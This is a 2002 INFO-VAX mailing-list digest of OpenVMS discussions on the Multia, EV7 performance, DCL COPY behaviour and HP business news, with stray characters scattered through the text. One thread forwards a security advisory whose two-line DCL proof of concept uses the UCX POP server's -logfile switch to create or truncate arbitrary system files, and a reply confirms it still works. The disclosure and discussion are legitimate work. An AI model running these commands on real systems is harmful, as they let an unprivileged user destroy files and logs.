 >>never done.e >'; >Never the less we were told it would be done on the Multia  >t  G It never was on any plans ever for VMS.  Nor aside from a few engineers D suggesting it, do I recall anyone in management or the business side requesting it.   >>D >>The Multia was *never* designed to be ANYTHING but what it was - a	 Windows/XeH >>terminal.  Because it was ahead of it's time, it ended up being 98% of what >rJ >When we asked to buy 30 with VMS it was suggested we buy 30 with Alpha/NTJ >instead. That's Alpha/NT installed locally. How can you call that "just aG >Windows/X terminal" - well views on NT just being a glorified terminald	 aside! Ify1 >it could be sold with an NT OS then why not VMS?n >n  K History.  They wanted an appliance, but at the time there was no Windows CEoK like thing available.  They ended up having to put a full NT implementationh on it since it was Alpha.v  , >We didn't buy any with Alpha/NT in the end. >)K >>a cheap workstation would contain.  The desktop group *never* intended itB toL >>be a general purpose machine.  Whoever suggested that it might run VMS wasI >>engaging in wishful thinking.  The fact VMS ran on it at all was a sidehD >>effect of the system being based on something close to what we did support,3 >>and an engineer who made it work on his own time.  >rJ >I know that's how the midnight engineering work was done but that doesn't meanK >that the same work couldn't have been done formally had someone authorisedV it.OL >It was fully qualified to run Alpha/NT so why not VMS? That was a political
 >decision. >,  K See above.  NT was used because that's what they had, and they wanted it asj a Windows appliance.   >>D >>>>terminals group.  The fact that we hacked something together for	 hobbyist,DK >>>>doesn't mean it would have succeeded as a real product... even though Ia >>ands >>>>others did advocate for it.o >>>s( >>>But by no accident you were outvoted. >>>s >>L >>It was a day late and a dollar short.  There was no structure setup to getL >>this system sold as something other than what it was, and it competed withJ >>the workstation group.  By the time we were trying to do something, they; >>were being dumped on the market cheap to get rid of them.l >oG >Just a pity they hadn't been sold with VMS from the start. Maybe therec wouldCI >have been no need to dump them cheaply later. Yes, I know about the heattI >reliability problems but that could easily have been solved. Many peoplei have; >been running them reliably as hobby systems for years now.I >I  I I keep trying to tell you.  This product was built by the TERMINALS groupIK (they renamed themselves to the Desktop Systems Group).  It wasn't built byoL a group that normally sold *system platforms*.  They sold VT400's.  So thereG were no UNIX or VMS plans.  NT ran on it because that is what they were K using for their core OS to build their appliance.  NT required a local disk K and all the giblets that go into a workstation.  It was supposed to be soldh" like an X Terminal.  An appliance.  L The fact that it was a full machine under the covers made it possible to putK VMS and UNIX on it, but it was not really even considered until the productt2 itself "failed" and they were dumping the systems.   ------------------------------  # Date: Wed, 25 Sep 2002 19:42:16 GMTs5 From: "Fred Kleinsorge" <kleinsorge@star.zko.dec.com> 9 Subject: Re: VMS future (oh not not another one of these) 2 Message-ID: <skok9.37$xz4.620685@news.cpqcorp.net>  = JF Mezei wrote in message <3D91FC85.472DD8A1@videotron.ca>...i >Fred Kleinsorge wrote::E >> The Multia was *never* designed to be ANYTHING but what it was - ae	 Windows/XE >> terminal. >  >And therein lies the problem. >Z	 >WHY ????B >i  H BECAUSE THEY WERE THE TERMINALS GROUP!  They were building an appliance.J They were ahead of their time.  The appliance needed more things than theyC really wanted.  They were not building a low cost workstation.  TheeK WORKSTATION group was the group with that responsibility.  They did not set:I out to build a general purpose workstation.  Most people felt that it wasiL underconfigured, and underpowered for the task of a general purpose machine.   ------------------------------  % Date: Wed, 25 Sep 2002 16:21:12 -0400m- From: JF Mezei <jfmezei.spamnot@videotron.ca> 9 Subject: Re: VMS future (oh not not another one of these) , Message-ID: <3D921AAE.9778A798@videotron.ca>   Fred Kleinsorge wrote:J > BECAUSE THEY WERE THE TERMINALS GROUP!  They were building an appliance.L > They were ahead of their time.  The appliance needed more things than they@ > really wanted.  They were not building a low cost workstation.    N I don't care which group it was. It was still Digital. And someone high enoughJ should have had the vision to call up the terminal group and tell them "ifL you're going to be putting a hard drive and running a real OS on it, why notL make your device available to the VMS group as well so that they can sell it TOO ?" h  M instead of "make damned sure that whatever you build will not steal any salesk from the VMS group".L (or worse: make damend sure VMS won't be able to run on a low cost machine).   ------------------------------   Date: 25 Sep 2002 19:02 CDT ' From: carl@gerg.tamu.edu (Carl Perkins)n9 Subject: Re: VMS future (oh not not another one of these)e- Message-ID: <25SEP200219023767@gerg.tamu.edu>   6 rdeininger@mindspring.com (Robert Deininger) writes...& }<jfmezei.spamnot@videotron.ca> wrote: } I }>What disapoints me in EV7 is that it seems to have been architecturallysL }>designed to make it unsuitable for small systems.  I would have hoped thatJ }>architecturally it could have been more versatile, with the first modelsM }>designes for the larger "wildfire" class machines, but allowing a differentt3 }>model of EV7 to be airmed at the smaller systems.  } E }I think it's a matter of terminology.  EV7 is (mainly) EV6x plus thehF }onboard memory and inter-processor stuff.  So the model of EV7 that's- }"aimed at smaller systems" is probably EV68.r } K }The external chipset used with EV68 only scales up to 4 processors, but upcJ }to that limit it is _very_ fast.  Somewhere between 4 and 8 processors, a  B But not as fast as EV7 in that same range (and slighty past - withD 4 channels per processor you can have a 5 processor system with eachF processor having a direct dedicated channel to every other processor).  G The EV68 simply does not have anything resembling the memory throughput-E of an EV7. That alone will make the EV7 significantly faster in many,h= if not most, situations in any system, multiprocessor or not.1  F A single processor EV7 system would outperform a single processor EV68I system if clocked at the same speed (and in a variety of memory intensive E cases it would still outperform the EV68 if clocked somewhat slower).   H (BTW, there isn't really an EV7 - it is really an EV78. They skipped theF originally intended process. The process being used is the same as the one used for the EV68.)   F Any reasons for not producing a single processor EV7 system are purely! marketing related, not technical.    --- Carl   ------------------------------  % Date: Wed, 25 Sep 2002 21:55:42 -0400e2 From: rdeininger@mindspring.com (Robert Deininger)9 Subject: Re: VMS future (oh not not another one of these)eK Message-ID: <rdeininger-2509022155420001@1cust235.tnt2.nashua.nh.da.uu.net>p  3 In article <3tiS1Zn1beoT@eisner.encompasserve.org>, , young_r@encompasserve.org (Rob Young) wrote:  6 >In article <3D914274.CF7E4799@videotron.ca>, JF Mezei& <jfmezei.spamnot@videotron.ca> writes: >> Robert Deininger wrote:M >>> I don't think I'm confused.  Below 4 processors or so, EV68 plus a fairlyAN >>> inexpensive chipset could easily outperform the expensive, but "glueless",	 >>> EV7. a >> . > + >        Or so?  How about at 4 processors?r  K "Or so", because questions like this are clearly dependent on the workload.o  B The ES45 only goes up to 4P, period.  But it does it with a systemG interconnect that's optimized for 4 processors.  It's fairly easy to doaJ this well, and there is a lot of simplification if you know you don't have to scale up.  E The EV7s will start at 2P and go up to ???.  But there seems to be no6D attempt to optimize for small systems.  Maybe EV7 will be marginallyJ faster than EV68 for 2-4P systems, but it might cost 2 or 3 times as much.  H >        I don't think so.  Especially if bandwidth or latency sensitive+ >        applications.  Which is most apps.   $ Then there are the I/O bound apps...  K >        For instance, a 4 CPU EV7 has worst case memory latency of 140 ns.aF >        Total memory bandwidth ... it should be 25.6 GBytes/sec peak.  J I don't have the EV7 numbers at my fingertips, but the 140 ns sounds about right.  I ES45 has 8 GB/sec memory bandwidth, according to the product web page.  I-E don't see a number for the latency.  I expect it is about the same as$( EV7's "near" memory.  But at lower cost.   ------------------------------  % Date: Wed, 25 Sep 2002 23:15:22 -0400 - From: JF Mezei <jfmezei.spamnot@videotron.ca>+9 Subject: Re: VMS future (oh not not another one of these)E, Message-ID: <3D927BBD.E8FD07C8@videotron.ca>   Robert Deininger wrote:,G > The EV7s will start at 2P and go up to ???.  But there seems to be no-F > attempt to optimize for small systems.  Maybe EV7 will be marginallyL > faster than EV68 for 2-4P systems, but it might cost 2 or 3 times as much.    L Isn't there some page size restriction that makes systems less the 2gigs RAM almost impossible on EV7 ?   ------------------------------    Date: 25 Sep 2002 16:46:49 -0700/ From: prosullivan@hotmail.com (paul o'sullivan)-% Subject: Re: VMS performance software2= Message-ID: <5a24d880.0209251546.63b82641@posting.google.com>e   "Hansford, Paul (ELS)" <P.Hansford@elsevier.co.uk> wrote in message news:<2EA918FE7CC6FB4BA0510D671ADB2AB40D7A31@elsoxfs02604>...eI > Many thanks, to everyone who responded to my queries on VMS performancer > software.  > M > I have downloaded ECP (as it is free) and I will let you know how I get on.  > 	 > Regardsc > Paul  F I have just tested PerfCap PAWZ v4.0 release. For VMS there is a brandD new collector, an updated analyzer, hot files, response tines, and a bunch of other stuff.,  E PerfCap is at CETS this year, so take a look at their news section of-+ their site to get some info www.perfcap.comi   ------------------------------  % Date: Wed, 25 Sep 2002 09:22:48 +020059 From: Jan-Erik =?iso-8859-1?Q?S=F6derholm?= <aaa@aaa.com>o Subject: Re: VMS, C++ and flushk' Message-ID: <3D916448.4B19EE16@aaa.com>s   OK.w3 I'll hope to have a small reproducer in a few days.t  / In short, I'd expect that you just need to do :t: - open a file, fixed record lenght, 80 char (or somthing).3 - write something (less then the fixed rec lenght).e - flush.  - continue to "fill" the record. - flush. - close the file.v? - Check if the written data is in the same record (as expected)i@   or if each write ended up in a own (null filled) record, as in
   my case.  C I'll try to get some time this week to strip down my application...f   Jan-Erik Sderholm.t   Brad McCusker wrote: >  > F > This is the latest ECO, and, I suspect you are seeing an inadvertantL > behavior change that probably should have been protected with some sort ofG > feature switch (and will be in the next ECO or release).  I'll try tooL > remember to come back to this string and update once we have it completely
 > understood.  >  > Brad McCuskerV > OpenVMS C RTL Project Leader- > Advanced Server for OpenVMS Project ManagerS > Hewlett-Packard CompanyR   ------------------------------  # Date: Thu, 26 Sep 2002 01:39:04 GMT 1 From: "David J. Dachtera" <djesys.nospam@fsi.net>   Subject: Re: warning during copy' Message-ID: <3D926AEF.5A71FF56@fsi.net>-   "Alan E. Feldman" wrote: > b > "David J. Dachtera" <djesys.nospam@fsi.net> wrote in message news:<3D8FC64A.D3CE58CD@fsi.net>... > > aniruddha patwardhan wrote:C > > >o > > > Hi > > >(D > > > I am trying to copy a file and I am getting following warning.N > > > Please explain the meaning of this warning as well as how to remove this
 > > > warninge > > >o$ > > > apatward@oak-ani_vantive> copy9 > > > DISK$USER01:[USER.APATWARD.FINAL_SAMPLES]PIPPIN_4-S  > > > EP-2002.MONDAT *.* > > >o > > > %COPY-W-INCOMPAT,mD > > > DISK$USER01:[USER.APATWARD.FINAL_SAMPLES]PIPPIN_4-SEP-2002.MON > > > DAT;1 (input) andbD > > > VIEW$ANI_VANTIVE:[VMS.USER2.CVAXDEV.ROLLOUT.REFCOPY]PIPPIN_4-S< > > > EP-2002.MONDAT;1 (output) have incompatible attributes > >u) > [sweep it under the rug method omitted]A > >EK > > Now that said, I'm not sure I understand why you're doing the copy of a " > > file to a wildcarded filespec. > >eJ > > If your intention is simply to make a copy of the file in your currentL > > default device/directory, the following will suffice and not produce the > > mesage:Y > >  > > $ COPY infile [] > C > Well, I don't see why he got the message in the first place, so It, > don't see how using [] would fix anything. >  > Also, [] doesn't always work:- >  > DCL> SHOW DEF  >   SYS$SYSDEVICE:[FELDMAN]0 > DCL> SET DEF SYS$STARTUP > DCL> SHOW DEFu >   SYS$STARTUP:[FELDMAN]R  F I'm guessing that's an invalid path specification since SYS$STARTUP is> not a concealed (or a "rooted") logical. Since your default isA technically invalid, "[]" is not the only thing I would epxect tot exhibit anomalous behavior.I  ! >   =   SYS$SYSROOT:[SYS$STARTUP]   >   =   SYS$COMMON:[SYS$STARTUP] >   =   SYS$SYSROOT:[SYSMGR] >   =   SYS$COMMON:[SYSMGR]n > DCL> DIREC SYSF:R.COM; > # > Directory SYS$SYSDEVICE:[FELDMAN]i > 	 > R.COM;2  >  > Total of 1 file. > DCL> COPY SYSF:R.COM [] A > %COPY-E-OPENOUT, error opening SYS$COMMON:[FELDMAN].; as outputh! > -RMS-E-DNF, directory not found $ > -SYSTEM-W-NOSUCHFILE, no such file > DCL> > % > $ COPY <file-spec> *   ! works finet  G Can you post some evidence that it "works fine" (SHOW DEFAULT, followedm% by the display output from COPY/LOG)?r  F Also, you might try F$PARSE() with your default set as above. In fact,! just try this an post the output:F  . $ WRITE SYS$OUTPUT """", F$PARSE( "[]" ), """"  B If it returns a null string (two double quotes with no interveningF text), then your default is invalid. Here's how it goes on my machines here:    DJAS01::DDACHTERA$ verst' Alpha V7.1-2   (AlphaStation 200 4/233)r DJAS01::DDACHTERA$ sh def    DKA0:[DDACHTERA]& DJAS01::DDACHTERA$ set def sys$startup DJAS01::DDACHTERA$ sh def    SYS$STARTUP:[DDACHTERA]S   =   SYS$SYSROOT:[SYS$STARTUP]M   =   SYS$COMMON:[SYS$STARTUP]   =   SYS$SYSROOT:[SYSMGR]   =   SYS$COMMON:[SYSMGR]L? DJAS01::DDACHTERA$ WRITE SYS$OUTPUT """", F$PARSE( "[]" ), """"g ""$ DJAS01::DDACHTERA$ set def sys$login DJAS01::DDACHTERA$ sh defK   DKA0:[DDACHTERA]? DJAS01::DDACHTERA$ WRITE SYS$OUTPUT """", F$PARSE( "[]" ), """"o "DKA0:[DDACHTERA].;"   DJMV01::DDACHTERA$ versI VAX V7.2     (MicroVAX 3100) DJMV01::DDACHTERA$ sh deft   SYS$SYSDEVICE:[DDACHTERA] & DJMV01::DDACHTERA$ set def sys$startup DJMV01::DDACHTERA$ sh defB   SYS$STARTUP:[DDACHTERA]a   =   SYS$SYSROOT:[SYS$STARTUP]    =   SYS$COMMON:[SYS$STARTUP]   =   SYS$SYSROOT:[SYSMGR]   =   SYS$COMMON:[SYSMGR] ? DJMV01::DDACHTERA$ WRITE SYS$OUTPUT """", F$PARSE( "[]" ), """"y ""$ DJMV01::DDACHTERA$ set def sys$login DJMV01::DDACHTERA$ sh def)   SYS$SYSDEVICE:[DDACHTERA] ? DJMV01::DDACHTERA$ WRITE SYS$OUTPUT """", F$PARSE( "[]" ), """"a "SYS$SYSDEVICE:[DDACHTERA].;"r DJMV01::DDACHTERA$     -- o David J. Dachterat dba DJE SystemsY http://www.djesys.com/  ( Unofficial Affordable OpenVMS Home Page: http://www.djesys.com/vms/soho/e   ------------------------------  % Date: Wed, 25 Sep 2002 01:43:02 -0400s- From: JF Mezei <jfmezei.spamnot@videotron.ca>/0 Subject: Re: What is happening to the industry ?, Message-ID: <3D914CE2.590EEB68@videotron.ca>  % By the way, IBM is now down to $63.00u  L Granted, this is more due to the EDS statement with the casino analysts justI betting that IBM will have equally bad news. But if IBM does announce badv) news, how does this bode for HP's sales ?-  M How long of a honeymoon will Carly and Curly get before they need to start too+ become accountable for their merger folly ?   J Carly had often said during her pregnancy that the merger would occur at aM good time because the economy would pick up and that would compensate for thewN merger costs, after which HP would come out very strong.  But with the economyE not picking up, how will this affect her plans ? Will she just get an K extension on her honeymoon as long as the other makers are also issuing bada news ?   ------------------------------  % Date: Wed, 25 Sep 2002 09:22:29 +0100 % From: Alan Greig <a.greig@virgin.net> 0 Subject: Re: What is happening to the industry ?8 Message-ID: <nnr2pugvpbie3v6grupg821lv3hljqir6i@4ax.com>  , On Wed, 25 Sep 2002 01:43:02 -0400, JF Mezei% <jfmezei.spamnot@videotron.ca> wrote:/  & >By the way, IBM is now down to $63.00 >-M >Granted, this is more due to the EDS statement with the casino analysts justeJ >betting that IBM will have equally bad news. But if IBM does announce bad* >news, how does this bode for HP's sales ?  D Much of  EDS's problems are related to their incestuous relationship> with WorldCom. Back in March it was announced that the SEC wasF considering investigating both EDS and WCOM. Under a joint outsourcingB deal, EDS outsourced several billion worth of business to WCOM and> WCOM outsourced exactly the same several billion worth to EDS.; Employees and equipment were transferred between companies.i  F Result is that EDS and WCOM both boost their on-paper sales by severalD billion (over a few years), which looks good, but do no actual extraC business. SInce WCOM's announcements, EDS have transferred back keyuD employees and some equipment. However the *whole* of EDS's worldwide= comms networks for private companies continues to run on WCOMn@ networks. This appears to have already caused problems for major
 customers.  B I think the markets have just woken up to the full extent of EDS's- WCOM exposure. Well that and everything else.d  D At EDS headquarters in Plano, a lot of staff are WCOM employees. EDSB cannot function without them. You actually seem to have management@ chains that go EDS employee > WCOM employee > EDS employee. Just bizarre.     -- Alan   ------------------------------    Date: 26 Sep 2002 03:24:49 +0800, From: Paul Repacholi <prep@prep.synonet.com>1 Subject: Re: www.openvms.compaq.com has been HPedd- Message-ID: <87wup9hny6.fsf@prep.synonet.com>h  - "Barry Treahy, Jr." <Treahy@MMaz.com> writes:w  > > What you imply would be equivalent of stating that a programF > compiled on VMS version 3.x must work on 4.0 and for those of us whoF > were around when 4.0 arrived, we all know that just about everythingB > broke; Kernel, Executive and some Supervisor and User mode code.5 > You cannot maintain backward compatibility forever!   C Oh? Name a use program that broke on V4. And why can't you maintaino@ backward compatabiity? VMS and TeX have both done it for over 20 years.  / > Can we say X86 and their kluged memory model?e  9 Oh, you mean it has to be incompatable and broken. Sorry.w   -- d< Paul Repacholi                               1 Crescent Rd.,7 +61 (08) 9257-1001                           Kalamunda.h@                                              West Australia 6076. Raw, Cooked or Well-done, it's all half baked.F EPIC, The Architecture of the future, always has been, always will be.   ------------------------------  % Date: Wed, 25 Sep 2002 22:54:08 -0400 ; From: "Brian Tillman" <tillman_brian@notnoone.notnohow.com>,1 Subject: Re: www.openvms.compaq.com has been HPed0$ Message-ID: <3d92771b$1@news.si.com>  L >While I agree, I think the crucial point here is that the VAX is not  IEEE.  K Withe the new Nemonix accelerators for VAX 7000/10000s, a VAX _can_ be fasttF enough to run IEE floating point; not fast enough is the reason CompaqH refused to be portability-oriented, thowing away years of philosophy and, alienating a segment of their customer base.  K I'll repeat my hymn: _I_ am the only one who can decide if it's fast enougho on my machines.o --A Brian Tillman                   Internet: tillman_brian at si.com A Smiths Aerospace                          tillman at swdev.si.com = 3290 Patterson Ave. SE, MS      Addresses modified to preventr< Grand Rapids, MI 49512-1991     SPAM.  Replace "at" with "@"8        This opinion doesn't represent that of my company   ------------------------------  # Date: Thu, 26 Sep 2002 03:09:44 GMTn1 From: "David J. Dachtera" <djesys.nospam@fsi.net>p1 Subject: Re: www.openvms.compaq.com has been HPed ' Message-ID: <3D928033.3DDA0503@fsi.net>    Brian Tillman wrote: > N > >While I agree, I think the crucial point here is that the VAX is not  IEEE. > M > Withe the new Nemonix accelerators for VAX 7000/10000s, a VAX _can_ be fastcH > enough to run IEE floating point; not fast enough is the reason CompaqJ > refused to be portability-oriented, thowing away years of philosophy and. > alienating a segment of their customer base. > M > I'll repeat my hymn: _I_ am the only one who can decide if it's fast enough2 > on my machines.w  H I'd like to suggest that their efforts at such support on VAx be release5 as freeware, but it might give away too many secrets.-  3 Time for the Gnu community to rise to the occasion?o   -- l David J. Dachtera> dba DJE SystemsS http://www.djesys.com/  ( Unofficial Affordable OpenVMS Home Page: http://www.djesys.com/vms/soho/n   ------------------------------  % Date: Wed, 25 Sep 2002 23:50:56 +0000s2 From: John Eisenschmidt <jweisen@eisenschmidt.org>F Subject: [mike@akitanet.co.uk: OpenVMS POP server local vulnerability]4 Message-ID: <20020925235055.A22523@eisenschmidt.org>  C For those of you who aren't on Security Focus, this is the Advisoryl that Mike Rikey is speaking of.n  @ There are some obvious inconsistancies - his test is done on UCXE (which has been depricated in favor of TCPIP). There is no mention ofh versions affected either.b  - I'm curious to see what everyone else thinks.7  C ----- Forwarded message from Mike Riley <mike@akitanet.co.uk> -----n  * > From: "Mike Riley" <mike@akitanet.co.uk>! > To: <bugtraq@securityfocus.com> 1 > Subject: OpenVMS POP server local vulnerabilitya' > Date: Fri, 27 Sep 2002 13:26:10 +0100z > $ > Akita Security Advisory 27/09/2002* > OpenVMS UCX$POP_SERVER.EXE vulnerability >  > Advisory:e8 > http://www.akita-security.co.uk/VMS/ucx_pop_server.txt >  > VMS security toolt' > http://www.akita-security.co.uk/stoaty >  > 
 > Overview
 > ======== > @ > UCX is the main TCP/IP stack for OpenVMS.  Akita Security have< > discovered a vulnerability in every version of the UCX pop? > server which allows a local user to overwrite any file on theE > system with a 0 byte file. > > > Due to the popularity of UCX this problem will be widespread  > amongst OpenVMS installations. > B > This issue was discovered as part of wider research into OpenVMS@ > security.  Many issues have been found, and further advisories > will be released shortly.  >  > Detail > ====== > > > The UCX pop server binary, SYS$SYSTEM:UCX$POP_SERVER.EXE, is6 > installed with the VMS privileges BYPASS and SYSPRV: > ( > INSTALL> list ucx$pop_server.exe /full > - > DISK$OPENVMS071:<SYS0.SYSCOMMON.SYSEXE>.EXEm' >    UCX$POP_SERVER;1               Prv ( >         Entry access count         = 1$ >         Privileges = SYSPRV BYPASS > 
 > INSTALL> > C > The BYPASS privilege allows the pop server to override filesystem @ > permissions.  By use of the -logfile commandline switch, it is@ > possible to persuade the server to open a file anywhere, or to( > truncate an existing file, as follows: > F > ____________________________________________________________________ >  > $ show process/privs > > > 25-SEP-2002 10:47:35.02   User: MIKE             Process ID:
 > 0000013F@ >                           Node: VAX              Process name:
 > "_TNA21:_1"t >  > Authorized privileges: >  NETMBX    TMPMBXe >  > Process privileges:b1 >  NETMBX               may create network devices4 >  TMPMBX               may create temporary mailbox >  > Process rights:( >  INTERACTIVE	 >  REMOTEe >  > System rights: >  SYS$NODE_VAXw > $i/ > $ break_it :== $sys$system:ucx$pop_server.exe-A > $ break_it -logfile sys$system:I_SHOULDNT_BE_ABLE_TO_WRITE_HEREi3 > 19102-09-24 17:41:39 sizeof(block_wait_times) 160 5 > 19102-09-24 17:41:40 sizeof(struct vms_time_rec) 32u" > 19102-09-24 17:41:40 num_elems 5 > [SNIP] > ^C > $ dir/prot sys$system:I_*  >   > Directory SYS$SYSROOT:[SYSEXE] > % > I_SHOULDNT_BE_ABLE_TO_WRITE_HERE.;1.@ >                    insufficient privilege or object protection > violationx >  > Total of 1 file. > $,F > ____________________________________________________________________ > # > The file created looks like this:aF > ____________________________________________________________________ >   > Directory SYS$SYSROOT:[SYSEXE] > B > I_SHOULDNT_BE_ABLE_TO_WRITE_HERE.;1       File ID:  (9499,485,0)2 > Size:            0/0          Owner:    [SYSTEM]$ > Created:   24-SEP-2002 17:41:41.14( > Revised:   24-SEP-2002 17:41:57.09 (1) > Expires:   <None specified>a! > Backup:    <No backup recorded>  > Effective: <None specified>  > Recording: <None specified>g  > File organization:  Sequential > Shelved state:      OnlineF > File attributes:    Allocation: 0, Extend: 0, Global buffer count: 0& >                     No version limitE > Record format:      Stream_LF, maximum 0 bytes, longest 32767 bytesa6 > Record attributes:  Carriage return carriage control > RMS attributes:     None > Journaling enabled: None? > File protection:    System:RWED, Owner:RWED, Group:RE, World:c > Access Cntrl List:  None >  > Total of 1 file, 0/0 blocks. > $sF > ____________________________________________________________________ > 
 > Severity
 > ======== > D > At the least, this bug could be used by a local user to destroy anE > OpenVMS installation, or overwrite logfiles.  If a local user couldbD > control the log output of the pop server it could probably be usedD > to gain full privileges, although this is speculation on our part. >  >  > Workaround > ========== > = > Remove world execute permissions for the pop server binary.  >  > Vendor statust > =============  > E > Akita Security informed Compaq of this vulnerability on 14/06/2002.n9 > Compaq have released an ECO which corrects the problem: F > ____________________________________________________________________ >   > ECO B 1-JUL-2002 Alpha and VAX > 
 > Problem: > D > Disable the "-logfile" command line switch, which is not needed on
 > OpenVMS. >  > Deliverables:  >  > TCPIP$POP_SERVER.EXE V5.3-18Be >  > Reference: >  > Internal testing. F > ____________________________________________________________________ > B > Please note the lack of reference to a security problem, and the7 > lack of credit to Akita Security.  Internal testing ?c >  > Credit > ====== > / > This issue was discovered by mike@akita.co.uk- >  >  >  > --/ > Mike Riley - Security Systems manager @ Akitap! > http://www.akita-security.co.ukSF > --------------------------------------------------------------------E > Sales: T:+44(0)1869 320111 F: +44(0)1869250688 E: sales@akita.co.uke0 > Tech: T: +44(0)1869 320111 E: mike@akita.co.ukF > --------------------------------------------------------------------* > "Security, performance, cost - pick two" >  >  >   ! ----- End forwarded message -----e   -- a/ John W. Eisenschmidt <jweisen@eisenschmidt.org>tC    Public Key   |  http://www.eisenschmidt.org/jweisen/misc/pgp.ascnD    Fingerprint  |  5F9B F916 5AD1 3295 CF99 BC1E 1F97 E6A3 37E3 BEF2J Is this mail an attachment? http://www.jensbenecke.de/misc/outlook.en.html   ------------------------------  % Date: Wed, 25 Sep 2002 20:55:19 -0400 - From: JF Mezei <jfmezei.spamnot@videotron.ca>)J Subject: Re: [mike@akitanet.co.uk: OpenVMS POP server local vulnerability], Message-ID: <3D925AF2.BDD2B36D@videotron.ca>   John Eisenschmidt wrote:1 > > $ break_it :== $sys$system:ucx$pop_server.exe C > > $ break_it -logfile sys$system:I_SHOULDNT_BE_ABLE_TO_WRITE_HERE   0 Haven't checked actual security compliance, but:  + (TCPIP POP Server V5.3-18, ____VMS 7.2 VAX)c  ' still honours the -logfile  parameter. f  K From an account on a TCPIP 5.0 system,  with only netmbx and tmpmbx priv, IoN was able to create a file anywhere and in fact start the server. I must assume/ that with 5.3, the behavious would be the same..  " That is a definite security issue.  L Seems to me that the boys on the gold coast have spend too much time shining their surfboards :-)   ------------------------------   End of INFO-VAX 2002.531 ************************